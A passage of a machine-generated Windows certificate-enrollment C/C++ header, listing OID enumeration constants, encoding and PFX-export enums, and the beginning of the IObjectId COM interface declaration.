XCN_OID_OIWSEC_desCBC\t= 70,\n        XCN_OID_OIWSEC_desOFB\t= 71,\n        XCN_OID_OIWSEC_desCFB\t= 72,\n        XCN_OID_OIWSEC_desMAC\t= 73,\n        XCN_OID_OIWSEC_rsaSign\t= 74,\n        XCN_OID_OIWSEC_dsa\t= 75,\n        XCN_OID_OIWSEC_shaDSA\t= 76,\n        XCN_OID_OIWSEC_mdc2RSA\t= 77,\n        XCN_OID_OIWSEC_shaRSA\t= 78,\n        XCN_OID_OIWSEC_dhCommMod\t= 79,\n        XCN_OID_OIWSEC_desEDE\t= 80,\n        XCN_OID_OIWSEC_sha\t= 81,\n        XCN_OID_OIWSEC_mdc2\t= 82,\n        XCN_OID_OIWSEC_dsaComm\t= 83,\n        XCN_OID_OIWSEC_dsaCommSHA\t= 84,\n        XCN_OID_OIWSEC_rsaXchg\t= 85,\n        XCN_OID_OIWSEC_keyHashSeal\t= 86,\n        XCN_OID_OIWSEC_md2RSASign\t= 87,\n        XCN_OID_OIWSEC_md5RSASign\t= 88,\n        XCN_OID_OIWSEC_sha1\t= 89,\n        XCN_OID_OIWSEC_dsaSHA1\t= 90,\n        XCN_OID_OIWSEC_dsaCommSHA1\t= 91,\n        XCN_OID_OIWSEC_sha1RSASign\t= 92,\n        XCN_OID_OIWDIR\t= 93,\n        XCN_OID_OIWDIR_CRPT\t= 94,\n        XCN_OID_OIWDIR_HASH\t= 95,\n        XCN_OID_OIWDIR_SIGN\t= 96,\n        XCN_OID_OIWDIR_md2\t= 97,\n        XCN_OID_OIWDIR_md2RSA\t= 98,\n        XCN_OID_INFOSEC\t= 99,\n        XCN_OID_INFOSEC_sdnsSignature\t= 100,\n        XCN_OID_INFOSEC_mosaicSignature\t= 101,\n        XCN_OID_INFOSEC_sdnsConfidentiality\t= 102,\n        XCN_OID_INFOSEC_mosaicConfidentiality\t= 103,\n        XCN_OID_INFOSEC_sdnsIntegrity\t= 104,\n        XCN_OID_INFOSEC_mosaicIntegrity\t= 105,\n        XCN_OID_INFOSEC_sdnsTokenProtection\t= 106,\n        XCN_OID_INFOSEC_mosaicTokenProtection\t= 107,\n        XCN_OID_INFOSEC_sdnsKeyManagement\t= 108,\n        XCN_OID_INFOSEC_mosaicKeyManagement\t= 109,\n        XCN_OID_INFOSEC_sdnsKMandSig\t= 110,\n        XCN_OID_INFOSEC_mosaicKMandSig\t= 111,\n        XCN_OID_INFOSEC_SuiteASignature\t= 112,\n        XCN_OID_INFOSEC_SuiteAConfidentiality\t= 113,\n        XCN_OID_INFOSEC_SuiteAIntegrity\t= 114,\n        XCN_OID_INFOSEC_SuiteATokenProtection\t= 115,\n        XCN_OID_INFOSEC_SuiteAKeyManagement\t= 116,\n        XCN_OID_INFOSEC_SuiteAKMandSig\t= 117,\n        XCN_OID_INFOSEC_mosaicUpdatedSig\t= 118,\n        XCN_OID_INFOSEC_mosaicKMandUpdSig\t= 119,\n        XCN_OID_INFOSEC_mosaicUpdatedInteg\t= 120,\n        XCN_OID_COMMON_NAME\t= 121,\n        XCN_OID_SUR_NAME\t= 122,\n        XCN_OID_DEVICE_SERIAL_NUMBER\t= 123,\n        XCN_OID_COUNTRY_NAME\t= 124,\n        XCN_OID_LOCALITY_NAME\t= 125,\n        XCN_OID_STATE_OR_PROVINCE_NAME\t= 126,\n        XCN_OID_STREET_ADDRESS\t= 127,\n        XCN_OID_ORGANIZATION_NAME\t= 128,\n        XCN_OID_ORGANIZATIONAL_UNIT_NAME\t= 129,\n        XCN_OID_TITLE\t= 130,\n        XCN_OID_DESCRIPTION\t= 131,\n        XCN_OID_SEARCH_GUIDE\t= 132,\n        XCN_OID_BUSINESS_CATEGORY\t= 133,\n        XCN_OID_POSTAL_ADDRESS\t= 134,\n        XCN_OID_POSTAL_CODE\t= 135,\n        XCN_OID_POST_OFFICE_BOX\t= 136,\n        XCN_OID_PHYSICAL_DELIVERY_OFFICE_NAME\t= 137,\n        XCN_OID_TELEPHONE_NUMBER\t= 138,\n        XCN_OID_TELEX_NUMBER\t= 139,\n        XCN_OID_TELETEXT_TERMINAL_IDENTIFIER\t= 140,\n        XCN_OID_FACSIMILE_TELEPHONE_NUMBER\t= 141,\n        XCN_OID_X21_ADDRESS\t= 142,\n        XCN_OID_INTERNATIONAL_ISDN_NUMBER\t= 143,\n        XCN_OID_REGISTERED_ADDRESS\t= 144,\n        XCN_OID_DESTINATION_INDICATOR\t= 145,\n        XCN_OID_PREFERRED_DELIVERY_METHOD\t= 146,\n        XCN_OID_PRESENTATION_ADDRESS\t= 147,\n        XCN_OID_SUPPORTED_APPLICATION_CONTEXT\t= 148,\n        XCN_OID_MEMBER\t= 149,\n        XCN_OID_OWNER\t= 150,\n        XCN_OID_ROLE_OCCUPANT\t= 151,\n        XCN_OID_SEE_ALSO\t= 152,\n        XCN_OID_USER_PASSWORD\t= 153,\n        XCN_OID_USER_CERTIFICATE\t= 154,\n        XCN_OID_CA_CERTIFICATE\t= 155,\n        XCN_OID_AUTHORITY_REVOCATION_LIST\t= 156,\n        XCN_OID_CERTIFICATE_REVOCATION_LIST\t= 157,\n        XCN_OID_CROSS_CERTIFICATE_PAIR\t= 158,\n        XCN_OID_GIVEN_NAME\t= 159,\n        XCN_OID_INITIALS\t= 160,\n        XCN_OID_DN_QUALIFIER\t= 161,\n        XCN_OID_DOMAIN_COMPONENT\t= 162,\n        XCN_OID_PKCS_12_FRIENDLY_NAME_ATTR\t= 163,\n        XCN_OID_PKCS_12_LOCAL_KEY_ID\t= 164,\n        XCN_OID_PKCS_12_KEY_PROVIDER_NAME_ATTR\t= 165,\n        XCN_OID_LOCAL_MACHINE_KEYSET\t= 166,\n        XCN_OID_PKCS_12_EXTENDED_ATTRIBUTES\t= 167,\n        XCN_OID_KEYID_RDN\t= 168,\n        XCN_OID_AUTHORITY_KEY_IDENTIFIER\t= 169,\n        XCN_OID_KEY_ATTRIBUTES\t= 170,\n        XCN_OID_CERT_POLICIES_95\t= 171,\n        XCN_OID_KEY_USAGE_RESTRICTION\t= 172,\n        XCN_OID_SUBJECT_ALT_NAME\t= 173,\n        XCN_OID_ISSUER_ALT_NAME\t= 174,\n        XCN_OID_BASIC_CONSTRAINTS\t= 175,\n        XCN_OID_KEY_USAGE\t= 176,\n        XCN_OID_PRIVATEKEY_USAGE_PERIOD\t= 177,\n        XCN_OID_BASIC_CONSTRAINTS2\t= 178,\n        XCN_OID_CERT_POLICIES\t= 179,\n        XCN_OID_ANY_CERT_POLICY\t= 180,\n        XCN_OID_AUTHORITY_KEY_IDENTIFIER2\t= 181,\n        XCN_OID_SUBJECT_KEY_IDENTIFIER\t= 182,\n        XCN_OID_SUBJECT_ALT_NAME2\t= 183,\n        XCN_OID_ISSUER_ALT_NAME2\t= 184,\n        XCN_OID_CRL_REASON_CODE\t= 185,\n        XCN_OID_REASON_CODE_HOLD\t= 186,\n        XCN_OID_CRL_DIST_POINTS\t= 187,\n        XCN_OID_ENHANCED_KEY_USAGE\t= 188,\n        XCN_OID_CRL_NUMBER\t= 189,\n        XCN_OID_DELTA_CRL_INDICATOR\t= 190,\n        XCN_OID_ISSUING_DIST_POINT\t= 191,\n        XCN_OID_FRESHEST_CRL\t= 192,\n        XCN_OID_NAME_CONSTRAINTS\t= 193,\n        XCN_OID_POLICY_MAPPINGS\t= 194,\n        XCN_OID_LEGACY_POLICY_MAPPINGS\t= 195,\n        XCN_OID_POLICY_CONSTRAINTS\t= 196,\n        XCN_OID_RENEWAL_CERTIFICATE\t= 197,\n        XCN_OID_ENROLLMENT_NAME_VALUE_PAIR\t= 198,\n        XCN_OID_ENROLLMENT_CSP_PROVIDER\t= 199,\n        XCN_OID_OS_VERSION\t= 200,\n        XCN_OID_ENROLLMENT_AGENT\t= 201,\n        XCN_OID_PKIX\t= 202,\n        XCN_OID_PKIX_PE\t= 203,\n        XCN_OID_AUTHORITY_INFO_ACCESS\t= 204,\n        XCN_OID_BIOMETRIC_EXT\t= 205,\n        XCN_OID_LOGOTYPE_EXT\t= 206,\n        XCN_OID_CERT_EXTENSIONS\t= 207,\n        XCN_OID_NEXT_UPDATE_LOCATION\t= 208,\n        XCN_OID_REMOVE_CERTIFICATE\t= 209,\n        XCN_OID_CROSS_CERT_DIST_POINTS\t= 210,\n        XCN_OID_CTL\t= 211,\n        XCN_OID_SORTED_CTL\t= 212,\n        XCN_OID_SERIALIZED\t= 213,\n        XCN_OID_NT_PRINCIPAL_NAME\t= 214,\n        XCN_OID_PRODUCT_UPDATE\t= 215,\n        XCN_OID_ANY_APPLICATION_POLICY\t= 216,\n        XCN_OID_AUTO_ENROLL_CTL_USAGE\t= 217,\n        XCN_OID_ENROLL_CERTTYPE_EXTENSION\t= 218,\n        XCN_OID_CERT_MANIFOLD\t= 219,\n        XCN_OID_CERTSRV_CA_VERSION\t= 220,\n        XCN_OID_CERTSRV_PREVIOUS_CERT_HASH\t= 221,\n        XCN_OID_CRL_VIRTUAL_BASE\t= 222,\n        XCN_OID_CRL_NEXT_PUBLISH\t= 223,\n        XCN_OID_KP_CA_EXCHANGE\t= 224,\n        XCN_OID_KP_KEY_RECOVERY_AGENT\t= 225,\n        XCN_OID_CERTIFICATE_TEMPLATE\t= 226,\n        XCN_OID_ENTERPRISE_OID_ROOT\t= 227,\n        XCN_OID_RDN_DUMMY_SIGNER\t= 228,\n        XCN_OID_APPLICATION_CERT_POLICIES\t= 229,\n        XCN_OID_APPLICATION_POLICY_MAPPINGS\t= 230,\n        XCN_OID_APPLICATION_POLICY_CONSTRAINTS\t= 231,\n        XCN_OID_ARCHIVED_KEY_ATTR\t= 232,\n        XCN_OID_CRL_SELF_CDP\t= 233,\n        XCN_OID_REQUIRE_CERT_CHAIN_POLICY\t= 234,\n        XCN_OID_ARCHIVED_KEY_CERT_HASH\t= 235,\n        XCN_OID_ISSUED_CERT_HASH\t= 236,\n        XCN_OID_DS_EMAIL_REPLICATION\t= 237,\n        XCN_OID_REQUEST_CLIENT_INFO\t= 238,\n        XCN_OID_ENCRYPTED_KEY_HASH\t= 239,\n        XCN_OID_CERTSRV_CROSSCA_VERSION\t= 240,\n        XCN_OID_NTDS_REPLICATION\t= 241,\n        XCN_OID_SUBJECT_DIR_ATTRS\t= 242,\n        XCN_OID_PKIX_KP\t= 243,\n        XCN_OID_PKIX_KP_SERVER_AUTH\t= 244,\n        XCN_OID_PKIX_KP_CLIENT_AUTH\t= 245,\n        XCN_OID_PKIX_KP_CODE_SIGNING\t= 246,\n        XCN_OID_PKIX_KP_EMAIL_PROTECTION\t= 247,\n        XCN_OID_PKIX_KP_IPSEC_END_SYSTEM\t= 248,\n        XCN_OID_PKIX_KP_IPSEC_TUNNEL\t= 249,\n        XCN_OID_PKIX_KP_IPSEC_USER\t= 250,\n        XCN_OID_PKIX_KP_TIMESTAMP_SIGNING\t= 251,\n        XCN_OID_PKIX_KP_OCSP_SIGNING\t= 252,\n        XCN_OID_PKIX_OCSP_NOCHECK\t= 253,\n        XCN_OID_IPSEC_KP_IKE_INTERMEDIATE\t= 254,\n        XCN_OID_KP_CTL_USAGE_SIGNING\t= 255,\n        XCN_OID_KP_TIME_STAMP_SIGNING\t= 256,\n        XCN_OID_SERVER_GATED_CRYPTO\t= 257,\n        XCN_OID_SGC_NETSCAPE\t= 258,\n        XCN_OID_KP_EFS\t= 259,\n        XCN_OID_EFS_RECOVERY\t= 260,\n        XCN_OID_WHQL_CRYPTO\t= 261,\n        XCN_OID_NT5_CRYPTO\t= 262,\n        XCN_OID_OEM_WHQL_CRYPTO\t= 263,\n        XCN_OID_EMBEDDED_NT_CRYPTO\t= 264,\n        XCN_OID_ROOT_LIST_SIGNER\t= 265,\n        XCN_OID_KP_QUALIFIED_SUBORDINATION\t= 266,\n        XCN_OID_KP_KEY_RECOVERY\t= 267,\n        XCN_OID_KP_DOCUMENT_SIGNING\t= 268,\n        XCN_OID_KP_LIFETIME_SIGNING\t= 269,\n        XCN_OID_KP_MOBILE_DEVICE_SOFTWARE\t= 270,\n        XCN_OID_KP_SMART_DISPLAY\t= 271,\n        XCN_OID_KP_CSP_SIGNATURE\t= 272,\n        XCN_OID_DRM\t= 273,\n        XCN_OID_DRM_INDIVIDUALIZATION\t= 274,\n        XCN_OID_LICENSES\t= 275,\n        XCN_OID_LICENSE_SERVER\t= 276,\n        XCN_OID_KP_SMARTCARD_LOGON\t= 277,\n        XCN_OID_YESNO_TRUST_ATTR\t= 278,\n        XCN_OID_PKIX_POLICY_QUALIFIER_CPS\t= 279,\n        XCN_OID_PKIX_POLICY_QUALIFIER_USERNOTICE\t= 280,\n        XCN_OID_CERT_POLICIES_95_QUALIFIER1\t= 281,\n        XCN_OID_PKIX_ACC_DESCR\t= 282,\n        XCN_OID_PKIX_OCSP\t= 283,\n        XCN_OID_PKIX_CA_ISSUERS\t= 284,\n        XCN_OID_VERISIGN_PRIVATE_6_9\t= 285,\n        XCN_OID_VERISIGN_ONSITE_JURISDICTION_HASH\t= 286,\n        XCN_OID_VERISIGN_BITSTRING_6_13\t= 287,\n        XCN_OID_VERISIGN_ISS_STRONG_CRYPTO\t= 288,\n        XCN_OID_NETSCAPE\t= 289,\n        XCN_OID_NETSCAPE_CERT_EXTENSION\t= 290,\n        XCN_OID_NETSCAPE_CERT_TYPE\t= 291,\n        XCN_OID_NETSCAPE_BASE_URL\t= 292,\n        XCN_OID_NETSCAPE_REVOCATION_URL\t= 293,\n        XCN_OID_NETSCAPE_CA_REVOCATION_URL\t= 294,\n        XCN_OID_NETSCAPE_CERT_RENEWAL_URL\t= 295,\n        XCN_OID_NETSCAPE_CA_POLICY_URL\t= 296,\n        XCN_OID_NETSCAPE_SSL_SERVER_NAME\t= 297,\n        XCN_OID_NETSCAPE_COMMENT\t= 298,\n        XCN_OID_NETSCAPE_DATA_TYPE\t= 299,\n        XCN_OID_NETSCAPE_CERT_SEQUENCE\t= 300,\n        XCN_OID_CT_PKI_DATA\t= 301,\n        XCN_OID_CT_PKI_RESPONSE\t= 302,\n        XCN_OID_PKIX_NO_SIGNATURE\t= 303,\n        XCN_OID_CMC\t= 304,\n        XCN_OID_CMC_STATUS_INFO\t= 305,\n        XCN_OID_CMC_IDENTIFICATION\t= 306,\n        XCN_OID_CMC_IDENTITY_PROOF\t= 307,\n        XCN_OID_CMC_DATA_RETURN\t= 308,\n        XCN_OID_CMC_TRANSACTION_ID\t= 309,\n        XCN_OID_CMC_SENDER_NONCE\t= 310,\n        XCN_OID_CMC_RECIPIENT_NONCE\t= 311,\n        XCN_OID_CMC_ADD_EXTENSIONS\t= 312,\n        XCN_OID_CMC_ENCRYPTED_POP\t= 313,\n        XCN_OID_CMC_DECRYPTED_POP\t= 314,\n        XCN_OID_CMC_LRA_POP_WITNESS\t= 315,\n        XCN_OID_CMC_GET_CERT\t= 316,\n        XCN_OID_CMC_GET_CRL\t= 317,\n        XCN_OID_CMC_REVOKE_REQUEST\t= 318,\n        XCN_OID_CMC_REG_INFO\t= 319,\n        XCN_OID_CMC_RESPONSE_INFO\t= 320,\n        XCN_OID_CMC_QUERY_PENDING\t= 321,\n        XCN_OID_CMC_ID_POP_LINK_RANDOM\t= 322,\n        XCN_OID_CMC_ID_POP_LINK_WITNESS\t= 323,\n        XCN_OID_CMC_ID_CONFIRM_CERT_ACCEPTANCE\t= 324,\n        XCN_OID_CMC_ADD_ATTRIBUTES\t= 325,\n        XCN_OID_LOYALTY_OTHER_LOGOTYPE\t= 326,\n        XCN_OID_BACKGROUND_OTHER_LOGOTYPE\t= 327,\n        XCN_OID_PKIX_OCSP_BASIC_SIGNED_RESPONSE\t= 328,\n        XCN_OID_PKCS_7_DATA\t= 329,\n        XCN_OID_PKCS_7_SIGNED\t= 330,\n        XCN_OID_PKCS_7_ENVELOPED\t= 331,\n        XCN_OID_PKCS_7_SIGNEDANDENVELOPED\t= 332,\n        XCN_OID_PKCS_7_DIGESTED\t= 333,\n        XCN_OID_PKCS_7_ENCRYPTED\t= 334,\n        XCN_OID_PKCS_9_CONTENT_TYPE\t= 335,\n        XCN_OID_PKCS_9_MESSAGE_DIGEST\t= 336,\n        XCN_OID_CERT_PROP_ID_PREFIX\t= 337,\n        XCN_OID_CERT_KEY_IDENTIFIER_PROP_ID\t= 338,\n        XCN_OID_CERT_ISSUER_SERIAL_NUMBER_MD5_HASH_PROP_ID\t= 339,\n        XCN_OID_CERT_SUBJECT_NAME_MD5_HASH_PROP_ID\t= 340,\n        XCN_OID_CERT_MD5_HASH_PROP_ID\t= 341,\n        XCN_OID_RSA_SHA256RSA\t= 342,\n        XCN_OID_RSA_SHA384RSA\t= 343,\n        XCN_OID_RSA_SHA512RSA\t= 344,\n        XCN_OID_NIST_sha256\t= 345,\n        XCN_OID_NIST_sha384\t= 346,\n        XCN_OID_NIST_sha512\t= 347,\n        XCN_OID_RSA_MGF1\t= 348,\n        XCN_OID_ECC_PUBLIC_KEY\t= 349,\n        XCN_OID_ECDSA_SHA1\t= 350,\n        XCN_OID_ECDSA_SPECIFIED\t= 351,\n        XCN_OID_ANY_ENHANCED_KEY_USAGE\t= 352,\n        XCN_OID_RSA_SSA_PSS\t= 353,\n        XCN_OID_ATTR_SUPPORTED_ALGORITHMS\t= 355,\n        XCN_OID_ATTR_TPM_SECURITY_ASSERTIONS\t= 356,\n        XCN_OID_ATTR_TPM_SPECIFICATION\t= 357,\n        XCN_OID_CERT_DISALLOWED_FILETIME_PROP_ID\t= 358,\n        XCN_OID_CERT_SIGNATURE_HASH_PROP_ID\t= 359,\n        XCN_OID_CERT_STRONG_KEY_OS_1\t= 360,\n        XCN_OID_CERT_STRONG_KEY_OS_CURRENT\t= 361,\n        XCN_OID_CERT_STRONG_KEY_OS_PREFIX\t= 362,\n        XCN_OID_CERT_STRONG_SIGN_OS_1\t= 363,\n        XCN_OID_CERT_STRONG_SIGN_OS_CURRENT\t= 364,\n        XCN_OID_CERT_STRONG_SIGN_OS_PREFIX\t= 365,\n        XCN_OID_DH_SINGLE_PASS_STDDH_SHA1_KDF\t= 366,\n        XCN_OID_DH_SINGLE_PASS_STDDH_SHA256_KDF\t= 367,\n        XCN_OID_DH_SINGLE_PASS_STDDH_SHA384_KDF\t= 368,\n        XCN_OID_DISALLOWED_HASH\t= 369,\n        XCN_OID_DISALLOWED_LIST\t= 370,\n        XCN_OID_ECC_CURVE_P256\t= 371,\n        XCN_OID_ECC_CURVE_P384\t= 372,\n        XCN_OID_ECC_CURVE_P521\t= 373,\n        XCN_OID_ECDSA_SHA256\t= 374,\n        XCN_OID_ECDSA_SHA384\t= 375,\n        XCN_OID_ECDSA_SHA512\t= 376,\n        XCN_OID_ENROLL_CAXCHGCERT_HASH\t= 377,\n        XCN_OID_ENROLL_EK_INFO\t= 378,\n        XCN_OID_ENROLL_EKPUB_CHALLENGE\t= 379,\n        XCN_OID_ENROLL_EKVERIFYCERT\t= 380,\n        XCN_OID_ENROLL_EKVERIFYCREDS\t= 381,\n        XCN_OID_ENROLL_EKVERIFYKEY\t= 382,\n        XCN_OID_EV_RDN_COUNTRY\t= 383,\n        XCN_OID_EV_RDN_LOCALE\t= 384,\n        XCN_OID_EV_RDN_STATE_OR_PROVINCE\t= 385,\n        XCN_OID_INHIBIT_ANY_POLICY\t= 386,\n        XCN_OID_INTERNATIONALIZED_EMAIL_ADDRESS\t= 387,\n        XCN_OID_KP_KERNEL_MODE_CODE_SIGNING\t= 388,\n        XCN_OID_KP_KERNEL_MODE_HAL_EXTENSION_SIGNING\t= 389,\n        XCN_OID_KP_KERNEL_MODE_TRUSTED_BOOT_SIGNING\t= 390,\n        XCN_OID_KP_TPM_AIK_CERTIFICATE\t= 391,\n        XCN_OID_KP_TPM_EK_CERTIFICATE\t= 392,\n        XCN_OID_KP_TPM_PLATFORM_CERTIFICATE\t= 393,\n        XCN_OID_NIST_AES128_CBC\t= 394,\n        XCN_OID_NIST_AES128_WRAP\t= 395,\n        XCN_OID_NIST_AES192_CBC\t= 396,\n        XCN_OID_NIST_AES192_WRAP\t= 397,\n        XCN_OID_NIST_AES256_CBC\t= 398,\n        XCN_OID_NIST_AES256_WRAP\t= 399,\n        XCN_OID_PKCS_12_PbeIds\t= 400,\n        XCN_OID_PKCS_12_pbeWithSHA1And128BitRC2\t= 401,\n        XCN_OID_PKCS_12_pbeWithSHA1And128BitRC4\t= 402,\n        XCN_OID_PKCS_12_pbeWithSHA1And2KeyTripleDES\t= 403,\n        XCN_OID_PKCS_12_pbeWithSHA1And3KeyTripleDES\t= 404,\n        XCN_OID_PKCS_12_pbeWithSHA1And40BitRC2\t= 405,\n        XCN_OID_PKCS_12_pbeWithSHA1And40BitRC4\t= 406,\n        XCN_OID_PKCS_12_PROTECTED_PASSWORD_SECRET_BAG_TYPE_ID\t= 407,\n        XCN_OID_PKINIT_KP_KDC\t= 408,\n        XCN_OID_PKIX_CA_REPOSITORY\t= 409,\n        XCN_OID_PKIX_OCSP_NONCE\t= 410,\n        XCN_OID_PKIX_TIME_STAMPING\t= 411,\n        XCN_OID_QC_EU_COMPLIANCE\t= 412,\n        XCN_OID_QC_SSCD\t= 413,\n        XCN_OID_QC_STATEMENTS_EXT\t= 414,\n        XCN_OID_RDN_TPM_MANUFACTURER\t= 415,\n        XCN_OID_RDN_TPM_MODEL\t= 416,\n        XCN_OID_RDN_TPM_VERSION\t= 417,\n        XCN_OID_REVOKED_LIST_SIGNER\t= 418,\n        XCN_OID_RFC3161_counterSign\t= 419,\n        XCN_OID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION\t= 420,\n        XCN_OID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION\t= 421,\n        XCN_OID_ROOT_PROGRAM_FLAGS\t= 422,\n        XCN_OID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL\t= 423,\n        XCN_OID_RSA_PSPECIFIED\t= 424,\n        XCN_OID_RSAES_OAEP\t= 425,\n        XCN_OID_SUBJECT_INFO_ACCESS\t= 426,\n        XCN_OID_TIMESTAMP_TOKEN\t= 427,\n        XCN_OID_ENROLL_SCEP_ERROR\t= 428,\n        XCN_OIDVerisign_MessageType\t= 429,\n        XCN_OIDVerisign_PkiStatus\t= 430,\n        XCN_OIDVerisign_FailInfo\t= 431,\n        XCN_OIDVerisign_SenderNonce\t= 432,\n        XCN_OIDVerisign_RecipientNonce\t= 433,\n        XCN_OIDVerisign_TransactionID\t= 434,\n        XCN_OID_ENROLL_ATTESTATION_CHALLENGE\t= 435,\n        XCN_OID_ENROLL_ATTESTATION_STATEMENT\t= 436,\n        XCN_OID_ENROLL_ENCRYPTION_ALGORITHM\t= 437,\n        XCN_OID_ENROLL_KSP_NAME\t= 438\n    } \tCERTENROLL_OBJECTID;\n\ntypedef \nenum WebSecurityLevel\n    {\n        LevelUnsafe\t= 0,\n        LevelSafe\t= 1\n    } \tWebSecurityLevel;\n\n#define\tCERTENROLL_INDEX_BASE\t( 0 )\n\ntypedef \nenum EncodingType\n    {\n        XCN_CRYPT_STRING_BASE64HEADER\t= 0,\n        XCN_CRYPT_STRING_BASE64\t= 0x1,\n        XCN_CRYPT_STRING_BINARY\t= 0x2,\n        XCN_CRYPT_STRING_BASE64REQUESTHEADER\t= 0x3,\n        XCN_CRYPT_STRING_HEX\t= 0x4,\n        XCN_CRYPT_STRING_HEXASCII\t= 0x5,\n        XCN_CRYPT_STRING_BASE64_ANY\t= 0x6,\n        XCN_CRYPT_STRING_ANY\t= 0x7,\n        XCN_CRYPT_STRING_HEX_ANY\t= 0x8,\n        XCN_CRYPT_STRING_BASE64X509CRLHEADER\t= 0x9,\n        XCN_CRYPT_STRING_HEXADDR\t= 0xa,\n        XCN_CRYPT_STRING_HEXASCIIADDR\t= 0xb,\n        XCN_CRYPT_STRING_HEXRAW\t= 0xc,\n        XCN_CRYPT_STRING_BASE64URI\t= 0xd,\n        XCN_CRYPT_STRING_ENCODEMASK\t= 0xff,\n        XCN_CRYPT_STRING_CHAIN\t= 0x100,\n        XCN_CRYPT_STRING_TEXT\t= 0x200,\n        XCN_CRYPT_STRING_PERCENTESCAPE\t= 0x8000000,\n        XCN_CRYPT_STRING_HASHDATA\t= 0x10000000,\n        XCN_CRYPT_STRING_STRICT\t= 0x20000000,\n        XCN_CRYPT_STRING_NOCRLF\t= 0x40000000,\n        XCN_CRYPT_STRING_NOCR\t= 0x80000000\n    } \tEncodingType;\n\ntypedef \nenum PFXExportOptions\n    {\n        PFXExportEEOnly\t= 0,\n        PFXExportChainNoRoot\t= 1,\n        PFXExportChainWithRoot\t= 2\n    } \tPFXExportOptions;\n\ntypedef \nenum ObjectIdGroupId\n    {\n        XCN_CRYPT_ANY_GROUP_ID\t= 0,\n        XCN_CRYPT_HASH_ALG_OID_GROUP_ID\t= 1,\n        XCN_CRYPT_ENCRYPT_ALG_OID_GROUP_ID\t= 2,\n        XCN_CRYPT_PUBKEY_ALG_OID_GROUP_ID\t= 3,\n        XCN_CRYPT_SIGN_ALG_OID_GROUP_ID\t= 4,\n        XCN_CRYPT_RDN_ATTR_OID_GROUP_ID\t= 5,\n        XCN_CRYPT_EXT_OR_ATTR_OID_GROUP_ID\t= 6,\n        XCN_CRYPT_ENHKEY_USAGE_OID_GROUP_ID\t= 7,\n        XCN_CRYPT_POLICY_OID_GROUP_ID\t= 8,\n        XCN_CRYPT_TEMPLATE_OID_GROUP_ID\t= 9,\n        XCN_CRYPT_LAST_OID_GROUP_ID\t= 10,\n        XCN_CRYPT_FIRST_ALG_OID_GROUP_ID\t= 1,\n        XCN_CRYPT_LAST_ALG_OID_GROUP_ID\t= 4,\n        XCN_CRYPT_GROUP_ID_MASK\t= 0xffff,\n        XCN_CRYPT_OID_PREFER_CNG_ALGID_FLAG\t= 0x40000000,\n        XCN_CRYPT_OID_DISABLE_SEARCH_DS_FLAG\t= 0x80000000,\n        XCN_CRYPT_OID_INFO_OID_GROUP_BIT_LEN_MASK\t= 0xfff0000,\n        XCN_CRYPT_OID_INFO_OID_GROUP_BIT_LEN_SHIFT\t= 16,\n        XCN_CRYPT_KEY_LENGTH_MASK\t= 0xfff0000\n    } \tObjectIdGroupId;\n\ntypedef \nenum ObjectIdPublicKeyFlags\n    {\n        XCN_CRYPT_OID_INFO_PUBKEY_ANY\t= 0,\n        XCN_CRYPT_OID_INFO_PUBKEY_SIGN_KEY_FLAG\t= 0x80000000,\n        XCN_CRYPT_OID_INFO_PUBKEY_ENCRYPT_KEY_FLAG\t= 0x40000000\n    } \tObjectIdPublicKeyFlags;\n\ntypedef \nenum AlgorithmFlags\n    {\n        AlgorithmFlagsNone\t= 0,\n        AlgorithmFlagsWrap\t= 0x1\n    } \tAlgorithmFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0000_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0000_v0_0_s_ifspec;\n\n#ifndef __IObjectId_INTERFACE_DEFINED__\n#define __IObjectId_INTERFACE_DEFINED__\n\n/* interface IObjectId */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IObjectId;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab300-217d-11da-b2a4-000e7bbb2b09\")\n    IObjectId : public IDispatch\n    {\n    public:\n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromName( \n            /* [in] */ CERTENROLL_OBJECTID Name) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromValue( \n            /* [in] */ __RPC__in BSTR strValue) = 0;\n        \n        virtual /* [custom] */ HRESULT STDMETHODCALLTYPE InitializeFromAlgorithmName( \n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [in] */ AlgorithmFlags AlgFlags,\n            /* [in] */ __RPC__in BSTR strAlgorithmName) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Name( \n            /* [retval][out] */ __RPC__out CERTENROLL_OBJECTID *pValue) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_FriendlyName( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_FriendlyName( \n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [custom][propget] */ HRESULT STDMETHODCALLTYPE get_Value( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAlgorithmName( \n            /* [in] */ ObjectIdGroupId GroupId,\n            /* [in] */ ObjectIdPublicKeyFlags KeyFlags,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pstrAlgorithmName) = 0;\n        \n    };\n    \n    \n#else \t/* C style interface */\n\n    typedef struct IObjectIdVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IObjectId * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            _COM_Outptr_  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IObjectId * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IObjectId * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IObjectId * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IObjectId * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ 